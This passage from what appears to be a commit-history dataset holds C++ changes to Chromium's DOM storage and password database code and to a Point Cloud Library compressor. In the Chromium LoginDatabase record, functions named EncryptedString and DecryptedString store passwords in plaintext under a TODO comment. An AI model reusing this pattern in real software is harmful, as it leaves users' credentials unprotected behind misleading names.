file_util::FileEnumerator file_enumerator(profile_path.Append(\n kLocalStorageDirectory), false, file_util::FileEnumerator::FILES);\n for (FilePath file_path = file_enumerator.Next(); !file_path.empty();\n file_path = file_enumerator.Next()) {\n if (file_path.Extension() == kLocalStorageExtension) {\n WebKit::WebSecurityOrigin web_security_origin =\n WebKit::WebSecurityOrigin::createFromDatabaseIdentifier(\n webkit_glue::FilePathToWebString(file_path.BaseName()));\n if (!EqualsASCII(web_security_origin.protocol(),\n url_scheme_to_be_skipped))\n file_util::Delete(file_path, false);\n }\n }\n}\n\nFilePath DOMStorageContext::GetLocalStorageFilePath(\n const string16& origin_id) const {\n FilePath storageDir = webkit_context_->data_path().Append(\n DOMStorageContext::kLocalStorageDirectory);\n FilePath::StringType id =\n webkit_glue::WebStringToFilePathString(origin_id);\n return storageDir.Append(id.append(kLocalStorageExtension));\n}\n<commit_msg>Coding style clean up of DomStorageContext.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/in_process_webkit\/dom_storage_context.h\"\n\n#include <algorithm>\n\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/browser_thread.h\"\n#include \"chrome\/browser\/in_process_webkit\/dom_storage_area.h\"\n#include \"chrome\/browser\/in_process_webkit\/dom_storage_namespace.h\"\n#include \"chrome\/browser\/in_process_webkit\/webkit_context.h\"\n#include \"chrome\/common\/dom_storage_common.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebSecurityOrigin.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebString.h\"\n#include \"webkit\/glue\/webkit_glue.h\"\n\nusing WebKit::WebSecurityOrigin;\n\nconst FilePath::CharType DOMStorageContext::kLocalStorageDirectory[] =\n FILE_PATH_LITERAL(\"Local Storage\");\n\nconst FilePath::CharType DOMStorageContext::kLocalStorageExtension[] =\n FILE_PATH_LITERAL(\".localstorage\");\n\nstatic const FilePath::CharType kLocalStorageOldPath[] =\n FILE_PATH_LITERAL(\"localStorage\");\n\n\/\/ TODO(jorlow): Remove after Chrome 4 ships.\nstatic void MigrateLocalStorageDirectory(const FilePath& data_path) {\n FilePath new_path = data_path.Append(\n DOMStorageContext::kLocalStorageDirectory);\n FilePath old_path = data_path.Append(kLocalStorageOldPath);\n if (!file_util::DirectoryExists(new_path) &&\n file_util::DirectoryExists(old_path)) {\n file_util::Move(old_path, new_path);\n }\n}\n\nDOMStorageContext::DOMStorageContext(WebKitContext* webkit_context)\n : last_storage_area_id_(0),\n last_session_storage_namespace_id_on_ui_thread_(kLocalStorageNamespaceId),\n last_session_storage_namespace_id_on_io_thread_(kLocalStorageNamespaceId),\n webkit_context_(webkit_context) {\n}\n\nDOMStorageContext::~DOMStorageContext() {\n \/\/ This should not go away until all DOM Storage Dispatcher hosts have gone\n \/\/ away. And they remove themselves from this list.\n DCHECK(dispatcher_host_set_.empty());\n\n for (StorageNamespaceMap::iterator iter(storage_namespace_map_.begin());\n iter != storage_namespace_map_.end(); ++iter) {\n delete iter->second;\n }\n}\n\nint64 DOMStorageContext::AllocateStorageAreaId() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n return ++last_storage_area_id_;\n}\n\nint64 DOMStorageContext::AllocateSessionStorageNamespaceId() {\n if (BrowserThread::CurrentlyOn(BrowserThread::UI))\n return ++last_session_storage_namespace_id_on_ui_thread_;\n return --last_session_storage_namespace_id_on_io_thread_;\n}\n\nint64 DOMStorageContext::CloneSessionStorage(int64 original_id) {\n DCHECK(!BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n int64 clone_id = AllocateSessionStorageNamespaceId();\n BrowserThread::PostTask(\n BrowserThread::WEBKIT, FROM_HERE, NewRunnableFunction(\n &DOMStorageContext::CompleteCloningSessionStorage,\n this, original_id, clone_id));\n return clone_id;\n}\n\nvoid DOMStorageContext::RegisterStorageArea(DOMStorageArea* storage_area) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n int64 id = storage_area->id();\n DCHECK(!GetStorageArea(id));\n storage_area_map_[id] = storage_area;\n}\n\nvoid DOMStorageContext::UnregisterStorageArea(DOMStorageArea* storage_area) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n int64 id = storage_area->id();\n DCHECK(GetStorageArea(id));\n storage_area_map_.erase(id);\n}\n\nDOMStorageArea* DOMStorageContext::GetStorageArea(int64 id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n StorageAreaMap::iterator iter = storage_area_map_.find(id);\n if (iter == storage_area_map_.end())\n return NULL;\n return iter->second;\n}\n\nvoid DOMStorageContext::DeleteSessionStorageNamespace(int64 namespace_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n StorageNamespaceMap::iterator iter =\n storage_namespace_map_.find(namespace_id);\n if (iter == storage_namespace_map_.end())\n return;\n DCHECK(iter->second->dom_storage_type() == DOM_STORAGE_SESSION);\n delete iter->second;\n storage_namespace_map_.erase(iter);\n}\n\nDOMStorageNamespace* DOMStorageContext::GetStorageNamespace(\n int64 id, bool allocation_allowed) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n StorageNamespaceMap::iterator iter = storage_namespace_map_.find(id);\n if (iter != storage_namespace_map_.end())\n return iter->second;\n if (!allocation_allowed)\n return NULL;\n if (id == kLocalStorageNamespaceId)\n return CreateLocalStorage();\n return CreateSessionStorage(id);\n}\n\nvoid DOMStorageContext::RegisterDispatcherHost(\n DOMStorageDispatcherHost* dispatcher_host) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n DCHECK(dispatcher_host_set_.find(dispatcher_host) ==\n dispatcher_host_set_.end());\n dispatcher_host_set_.insert(dispatcher_host);\n}\n\nvoid DOMStorageContext::UnregisterDispatcherHost(\n DOMStorageDispatcherHost* dispatcher_host) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n DCHECK(dispatcher_host_set_.find(dispatcher_host) !=\n dispatcher_host_set_.end());\n dispatcher_host_set_.erase(dispatcher_host);\n}\n\nconst DOMStorageContext::DispatcherHostSet*\nDOMStorageContext::GetDispatcherHostSet() const {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n return &dispatcher_host_set_;\n}\n\nvoid DOMStorageContext::PurgeMemory() {\n \/\/ It is only safe to purge the memory from the LocalStorage namespace,\n \/\/ because it is backed by disk and can be reloaded later. If we purge a\n \/\/ SessionStorage namespace, its data will be gone forever, because it isn't\n \/\/ currently backed by disk.\n DOMStorageNamespace* local_storage =\n GetStorageNamespace(kLocalStorageNamespaceId, false);\n if (local_storage)\n local_storage->PurgeMemory();\n}\n\nvoid DOMStorageContext::DeleteDataModifiedSince(\n const base::Time& cutoff,\n const char* url_scheme_to_be_skipped,\n const std::vector<string16>& protected_origins) {\n \/\/ Make sure that we don't delete a database that's currently being accessed\n \/\/ by unloading all of the databases temporarily.\n PurgeMemory();\n\n file_util::FileEnumerator file_enumerator(\n webkit_context_->data_path().Append(kLocalStorageDirectory), false,\n file_util::FileEnumerator::FILES);\n for (FilePath path = file_enumerator.Next(); !path.value().empty();\n path = file_enumerator.Next()) {\n WebSecurityOrigin web_security_origin =\n WebSecurityOrigin::createFromDatabaseIdentifier(\n webkit_glue::FilePathToWebString(path.BaseName()));\n if (EqualsASCII(web_security_origin.protocol(), url_scheme_to_be_skipped))\n continue;\n\n std::vector<string16>::const_iterator find_iter =\n std::find(protected_origins.begin(), protected_origins.end(),\n web_security_origin.databaseIdentifier());\n if (find_iter != protected_origins.end())\n continue;\n\n file_util::FileEnumerator::FindInfo find_info;\n file_enumerator.GetFindInfo(&find_info);\n if (file_util::HasFileBeenModifiedSince(find_info, cutoff))\n file_util::Delete(path, false);\n }\n}\n\nvoid DOMStorageContext::DeleteLocalStorageFile(const FilePath& file_path) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n\n \/\/ Make sure that we don't delete a database that's currently being accessed\n \/\/ by unloading all of the databases temporarily.\n \/\/ TODO(bulach): both this method and DeleteDataModifiedSince could purge\n \/\/ only the memory used by the specific file instead of all memory at once.\n \/\/ See http:\/\/crbug.com\/32000\n PurgeMemory();\n file_util::Delete(file_path, false);\n}\n\nvoid DOMStorageContext::DeleteLocalStorageForOrigin(const string16& origin_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DeleteLocalStorageFile(GetLocalStorageFilePath(origin_id));\n}\n\nvoid DOMStorageContext::DeleteAllLocalStorageFiles() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n\n \/\/ Make sure that we don't delete a database that's currently being accessed\n \/\/ by unloading all of the databases temporarily.\n PurgeMemory();\n\n file_util::FileEnumerator file_enumerator(\n webkit_context_->data_path().Append(kLocalStorageDirectory), false,\n file_util::FileEnumerator::FILES);\n for (FilePath file_path = file_enumerator.Next(); !file_path.empty();\n file_path = file_enumerator.Next()) {\n if (file_path.Extension() == kLocalStorageExtension)\n file_util::Delete(file_path, false);\n }\n}\n\nDOMStorageNamespace* DOMStorageContext::CreateLocalStorage() {\n FilePath data_path = webkit_context_->data_path();\n FilePath dir_path;\n if (!data_path.empty()) {\n MigrateLocalStorageDirectory(data_path);\n dir_path = data_path.Append(kLocalStorageDirectory);\n }\n DOMStorageNamespace* new_namespace =\n DOMStorageNamespace::CreateLocalStorageNamespace(this, dir_path);\n RegisterStorageNamespace(new_namespace);\n return new_namespace;\n}\n\nDOMStorageNamespace* DOMStorageContext::CreateSessionStorage(\n int64 namespace_id) {\n DOMStorageNamespace* new_namespace =\n DOMStorageNamespace::CreateSessionStorageNamespace(this, namespace_id);\n RegisterStorageNamespace(new_namespace);\n return new_namespace;\n}\n\nvoid DOMStorageContext::RegisterStorageNamespace(\n DOMStorageNamespace* storage_namespace) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n int64 id = storage_namespace->id();\n DCHECK(!GetStorageNamespace(id, false));\n storage_namespace_map_[id] = storage_namespace;\n}\n\n\/* static *\/\nvoid DOMStorageContext::CompleteCloningSessionStorage(\n DOMStorageContext* context, int64 existing_id, int64 clone_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageNamespace* existing_namespace =\n context->GetStorageNamespace(existing_id, false);\n \/\/ If nothing exists, then there's nothing to clone.\n if (existing_namespace)\n context->RegisterStorageNamespace(existing_namespace->Copy(clone_id));\n}\n\n\/\/ static\nvoid DOMStorageContext::ClearLocalState(const FilePath& profile_path,\n const char* url_scheme_to_be_skipped) {\n file_util::FileEnumerator file_enumerator(profile_path.Append(\n kLocalStorageDirectory), false, file_util::FileEnumerator::FILES);\n for (FilePath file_path = file_enumerator.Next(); !file_path.empty();\n file_path = file_enumerator.Next()) {\n if (file_path.Extension() == kLocalStorageExtension) {\n WebSecurityOrigin web_security_origin =\n WebSecurityOrigin::createFromDatabaseIdentifier(\n webkit_glue::FilePathToWebString(file_path.BaseName()));\n if (!EqualsASCII(web_security_origin.protocol(),\n url_scheme_to_be_skipped)) {\n file_util::Delete(file_path, false);\n }\n }\n }\n}\n\nFilePath DOMStorageContext::GetLocalStorageFilePath(\n const string16& origin_id) const {\n FilePath storageDir = webkit_context_->data_path().Append(\n DOMStorageContext::kLocalStorageDirectory);\n FilePath::StringType id =\n webkit_glue::WebStringToFilePathString(origin_id);\n return storageDir.Append(id.append(kLocalStorageExtension));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/password_manager\/login_database.h\"\n\n#include \"base\/utf_string_conversions.h\"\n\n\/\/ TODO: Actually encrypt passwords on Linux.\n\nstd::string LoginDatabase::EncryptedString(const string16& plain_text)\n const {\n return UTF16ToUTF8(plain_text);\n}\n\nstring16 LoginDatabase::DecryptedString(const std::string& cipher_text)\n const {\n return ASCIIToUTF16(cipher_text);\n}\n<commit_msg>Linux: fix retrieving passwords with non-ASCII characters from the default password store. TEST=save a password containing a non-ASCII character, it should autofill correctly BUG=54065 Review URL: http:\/\/codereview.chromium.org\/3316014<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/password_manager\/login_database.h\"\n\n#include \"base\/utf_string_conversions.h\"\n\n\/\/ TODO: Actually encrypt passwords on Linux.\n\nstd::string LoginDatabase::EncryptedString(const string16& plain_text)\n const {\n return UTF16ToUTF8(plain_text);\n}\n\nstring16 LoginDatabase::DecryptedString(const std::string& cipher_text)\n const {\n return UTF8ToUTF16(cipher_text);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Software License Agreement (BSD License)\n *\n * Point Cloud Library (PCL) - www.pointclouds.org\n * Copyright (c) 2009-2012, Willow Garage, Inc.\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#ifndef ORGANIZED_COMPRESSION_HPP\n#define ORGANIZED_COMPRESSION_HPP\n\n#include <pcl\/compression\/organized_pointcloud_compression.h>\n\n#include <pcl\/pcl_macros.h>\n#include <pcl\/point_cloud.h>\n\n#include <pcl\/common\/boost.h>\n#include <pcl\/common\/eigen.h>\n#include <pcl\/common\/common.h>\n#include <pcl\/common\/io.h>\n\n#include <pcl\/compression\/libpng_wrapper.h>\n#include <pcl\/compression\/organized_pointcloud_conversion.h>\n\n#include <string>\n#include <vector>\n#include <limits>\n#include <assert.h>\n\nnamespace pcl\n{\n namespace io\n {\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template<typename PointT> void\n OrganizedPointCloudCompression<PointT>::encodePointCloud (const PointCloudConstPtr &cloud_arg,\n std::ostream& compressedDataOut_arg,\n bool doColorEncoding,\n bool bShowStatistics_arg,\n int pngLevel_arg,\n float depthQuantization_arg)\n {\n uint32_t cloud_width = cloud_arg->width;\n uint32_t cloud_height = cloud_arg->height;\n\n float maxDepth, vocalLength;\n\n analyzeOrganizedCloud (cloud_arg, maxDepth, vocalLength);\n\n \/\/ encode header identifier\n compressedDataOut_arg.write (reinterpret_cast<const char*> (frameHeaderIdentifier_), strlen (frameHeaderIdentifier_));\n \/\/ encode point cloud width\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&cloud_width), sizeof (cloud_width));\n \/\/ encode frame type height\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&cloud_height), sizeof (cloud_height));\n \/\/ encode frame max depth\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&maxDepth), sizeof (maxDepth));\n \/\/ encode frame focal lenght\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&vocalLength), sizeof (vocalLength));\n \/\/ encode frame depth quantization\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&depthQuantization_arg), sizeof (depthQuantization_arg));\n\n \/\/ disparity and rgb image data\n std::vector<uint16_t> disparityData;\n std::vector<uint8_t> rgbData;\n\n \/\/ compressed disparity and rgb image data\n std::vector<uint8_t> compressedDisparity;\n std::vector<uint8_t> compressedRGB;\n\n uint32_t compressedDisparitySize = 0;\n uint32_t compressedRGBSize = 0;\n\n \/\/ Convert point cloud to disparity and rgb image\n OrganizedConversion<PointT>::convert (*cloud_arg, maxDepth, depthQuantization_arg, disparityData, rgbData);\n\n \/\/ Compress disparity information\n encodeMonoImageToPNG (disparityData, cloud_width, cloud_height, compressedDisparity, pngLevel_arg);\n\n compressedDisparitySize = static_cast<uint32_t>(compressedDisparity.size());\n \/\/ Encode size of compressed disparity image data\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&compressedDisparitySize), sizeof (compressedDisparitySize));\n \/\/ Output compressed disparity to ostream\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&compressedDisparity[0]), compressedDisparity.size () * sizeof(uint8_t));\n\n \/\/ Compress color information\n if (CompressionPointTraits<PointT>::hasColor && doColorEncoding)\n encodeRGBImageToPNG (rgbData, cloud_width, cloud_height, compressedRGB, 1 \/*Z_BEST_SPEED*\/);\n\n compressedRGBSize = static_cast<uint32_t>(compressedRGB.size ());\n \/\/ Encode size of compressed RGB image data\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&compressedRGBSize), sizeof (compressedRGBSize));\n \/\/ Output compressed disparity to ostream\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&compressedRGB[0]), compressedRGB.size () * sizeof(uint8_t));\n\n if (bShowStatistics_arg)\n {\n uint64_t pointCount = cloud_width * cloud_height;\n float bytesPerPoint = static_cast<float> (compressedDisparitySize+compressedRGBSize) \/ static_cast<float> (pointCount);\n\n PCL_INFO(\"*** POINTCLOUD ENCODING ***\\n\");\n PCL_INFO(\"Number of encoded points: %ld\\n\", pointCount);\n PCL_INFO(\"Size of uncompressed point cloud: %.2f kBytes\\n\", (static_cast<float> (pointCount) * CompressionPointTraits<PointT>::bytesPerPoint) \/ 1024.0f);\n PCL_INFO(\"Size of compressed point cloud: %.2f kBytes\\n\", static_cast<float> (compressedDisparitySize+compressedRGBSize) \/ 1024.0f);\n PCL_INFO(\"Total bytes per point: %.4f bytes\\n\", static_cast<float> (bytesPerPoint));\n PCL_INFO(\"Total compression percentage: %.4f%%\\n\", (bytesPerPoint) \/ (CompressionPointTraits<PointT>::bytesPerPoint) * 100.0f);\n PCL_INFO(\"Compression ratio: %.2f\\n\\n\", static_cast<float> (CompressionPointTraits<PointT>::bytesPerPoint) \/ bytesPerPoint);\n }\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template<typename PointT> void\n OrganizedPointCloudCompression<PointT>::decodePointCloud (std::istream& compressedDataIn_arg,\n PointCloudPtr &cloud_arg,\n bool bShowStatistics_arg)\n {\n \/\/ sync to frame header\n unsigned int headerIdPos = 0;\n while (headerIdPos < strlen (frameHeaderIdentifier_))\n {\n char readChar;\n compressedDataIn_arg.read (static_cast<char*> (&readChar), sizeof (readChar));\n if (readChar != frameHeaderIdentifier_[headerIdPos++])\n headerIdPos = (frameHeaderIdentifier_[0] == readChar) ? 1 : 0;\n }\n\n uint32_t cloud_width;\n uint32_t cloud_height;\n float maxDepth, vocalLength;\n float depthQuantization;\n\n \/\/ reading frame header\n compressedDataIn_arg.read (reinterpret_cast<char*> (&cloud_width), sizeof (cloud_width));\n compressedDataIn_arg.read (reinterpret_cast<char*> (&cloud_height), sizeof (cloud_height));\n compressedDataIn_arg.read (reinterpret_cast<char*> (&maxDepth), sizeof (maxDepth));\n compressedDataIn_arg.read (reinterpret_cast<char*> (&vocalLength), sizeof (vocalLength));\n compressedDataIn_arg.read (reinterpret_cast<char*> (&depthQuantization), sizeof (depthQuantization));\n\n \/\/ disparity and rgb image data\n std::vector<uint16_t> disparityData;\n std::vector<uint8_t> rgbData;\n\n \/\/ compressed disparity and rgb image data\n std::vector<uint8_t> compressedDisparity;\n std::vector<uint8_t> compressedRGB;\n\n uint32_t compressedDisparitySize;\n uint32_t compressedRGBSize;\n\n \/\/ reading compressed disparity data\n compressedDataIn_arg.read (reinterpret_cast<char*> (&compressedDisparitySize), sizeof (compressedDisparitySize));\n compressedDisparity.resize (compressedDisparitySize);\n compressedDataIn_arg.read (reinterpret_cast<char*> (&compressedDisparity[0]), compressedDisparitySize * sizeof(uint8_t));\n\n \/\/ reading compressed rgb data\n compressedDataIn_arg.read (reinterpret_cast<char*> (&compressedRGBSize), sizeof (compressedRGBSize));\n compressedRGB.resize (compressedRGBSize);\n compressedDataIn_arg.read (reinterpret_cast<char*> (&compressedRGB[0]), compressedRGBSize * sizeof(uint8_t));\n\n \/\/ PNG decoded parameters\n size_t png_width;\n size_t png_height;\n unsigned int png_channels;\n\n \/\/ decode PNG compressed disparity data\n decodePNGToImage (compressedDisparity, disparityData, png_width, png_height, png_channels);\n\n \/\/ decode PNG compressed rgb data\n decodePNGToImage (compressedRGB, rgbData, png_width, png_height, png_channels);\n\n \/\/ reconstruct point cloud\n OrganizedConversion<PointT>::convert (disparityData, rgbData, cloud_width, cloud_height, maxDepth, depthQuantization, vocalLength, *cloud_arg);\n\n if (bShowStatistics_arg)\n {\n uint64_t pointCount = cloud_width * cloud_height;\n float bytesPerPoint = static_cast<float> (compressedDisparitySize+compressedRGBSize) \/ static_cast<float> (pointCount);\n\n PCL_INFO(\"*** POINTCLOUD DECODING ***\\n\");\n PCL_INFO(\"Number of encoded points: %ld\\n\", pointCount);\n PCL_INFO(\"Size of uncompressed point cloud: %.2f kBytes\\n\", (static_cast<float> (pointCount) * CompressionPointTraits<PointT>::bytesPerPoint) \/ 1024.0f);\n PCL_INFO(\"Size of compressed point cloud: %.2f kBytes\\n\", static_cast<float> (compressedDisparitySize+compressedRGBSize) \/ 1024.0f);\n PCL_INFO(\"Total bytes per point: %.4f bytes\\n\", static_cast<float> (bytesPerPoint));\n PCL_INFO(\"Total compression percentage: %.4f%%\\n\", (bytesPerPoint) \/ (CompressionPointTraits<PointT>::bytesPerPoint) * 100.0f);\n PCL_INFO(\"Compression ratio: %.2f\\n\\n\", static_cast<float> (CompressionPointTraits<PointT>::bytesPerPoint) \/ bytesPerPoint);\n }\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template<typename PointT> void\n OrganizedPointCloudCompression<PointT>::analyzeOrganizedCloud (PointCloudConstPtr cloud_arg,\n float& maxDepth_arg,\n float& vocalLength_arg) const\n {\n size_t width, height, it;\n int centerX, centerY;\n int x, y;\n float maxDepth;\n float focalLength;\n\n width = cloud_arg->width;\n height = cloud_arg->height;\n\n \/\/ Center of organized point cloud\n centerX = static_cast<int> (width \/ 2);\n centerY = static_cast<int> (height \/ 2);\n\n \/\/ Ensure we have an organized point cloud\n assert((width>1) && (height>1));\n assert(width*height == cloud_arg->points.size());\n\n maxDepth = 0;\n focalLength = 0;\n\n it = 0;\n for (y = -centerY; y < +centerY; ++y)\n for (x = -centerX; x < +centerX; ++x)\n {\n const PointT& point = cloud_arg->points[it++];\n\n if (pcl::isFinite (point))\n {\n if (maxDepth < point.z)\n {\n \/\/ Update maximum depth\n maxDepth = point.z;\n\n \/\/ Calculate focal length\n focalLength = 2.0f \/ (point.x \/ (static_cast<float> (x) * point.z) + point.y \/ (static_cast<float> (y) * point.z));\n }\n }\n }\n\n \/\/ Update return values\n maxDepth_arg = maxDepth;\n vocalLength_arg = focalLength;\n }\n\n }\n}\n\n#endif\n\n<commit_msg>fixed eof detection in organized_pointcloud_compression class<commit_after>\/*\n * Software License Agreement (BSD License)\n *\n * Point Cloud Library (PCL) - www.pointclouds.org\n * Copyright (c) 2009-2012, Willow Garage, Inc.\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#ifndef ORGANIZED_COMPRESSION_HPP\n#define ORGANIZED_COMPRESSION_HPP\n\n#include <pcl\/compression\/organized_pointcloud_compression.h>\n\n#include <pcl\/pcl_macros.h>\n#include <pcl\/point_cloud.h>\n\n#include <pcl\/common\/boost.h>\n#include <pcl\/common\/eigen.h>\n#include <pcl\/common\/common.h>\n#include <pcl\/common\/io.h>\n\n#include <pcl\/compression\/libpng_wrapper.h>\n#include <pcl\/compression\/organized_pointcloud_conversion.h>\n\n#include <string>\n#include <vector>\n#include <limits>\n#include <assert.h>\n\nnamespace pcl\n{\n namespace io\n {\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template<typename PointT> void\n OrganizedPointCloudCompression<PointT>::encodePointCloud (const PointCloudConstPtr &cloud_arg,\n std::ostream& compressedDataOut_arg,\n bool doColorEncoding,\n bool bShowStatistics_arg,\n int pngLevel_arg,\n float depthQuantization_arg)\n {\n uint32_t cloud_width = cloud_arg->width;\n uint32_t cloud_height = cloud_arg->height;\n\n float maxDepth, vocalLength;\n\n analyzeOrganizedCloud (cloud_arg, maxDepth, vocalLength);\n\n \/\/ encode header identifier\n compressedDataOut_arg.write (reinterpret_cast<const char*> (frameHeaderIdentifier_), strlen (frameHeaderIdentifier_));\n \/\/ encode point cloud width\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&cloud_width), sizeof (cloud_width));\n \/\/ encode frame type height\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&cloud_height), sizeof (cloud_height));\n \/\/ encode frame max depth\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&maxDepth), sizeof (maxDepth));\n \/\/ encode frame focal lenght\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&vocalLength), sizeof (vocalLength));\n \/\/ encode frame depth quantization\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&depthQuantization_arg), sizeof (depthQuantization_arg));\n\n \/\/ disparity and rgb image data\n std::vector<uint16_t> disparityData;\n std::vector<uint8_t> rgbData;\n\n \/\/ compressed disparity and rgb image data\n std::vector<uint8_t> compressedDisparity;\n std::vector<uint8_t> compressedRGB;\n\n uint32_t compressedDisparitySize = 0;\n uint32_t compressedRGBSize = 0;\n\n \/\/ Convert point cloud to disparity and rgb image\n OrganizedConversion<PointT>::convert (*cloud_arg, maxDepth, depthQuantization_arg, disparityData, rgbData);\n\n \/\/ Compress disparity information\n 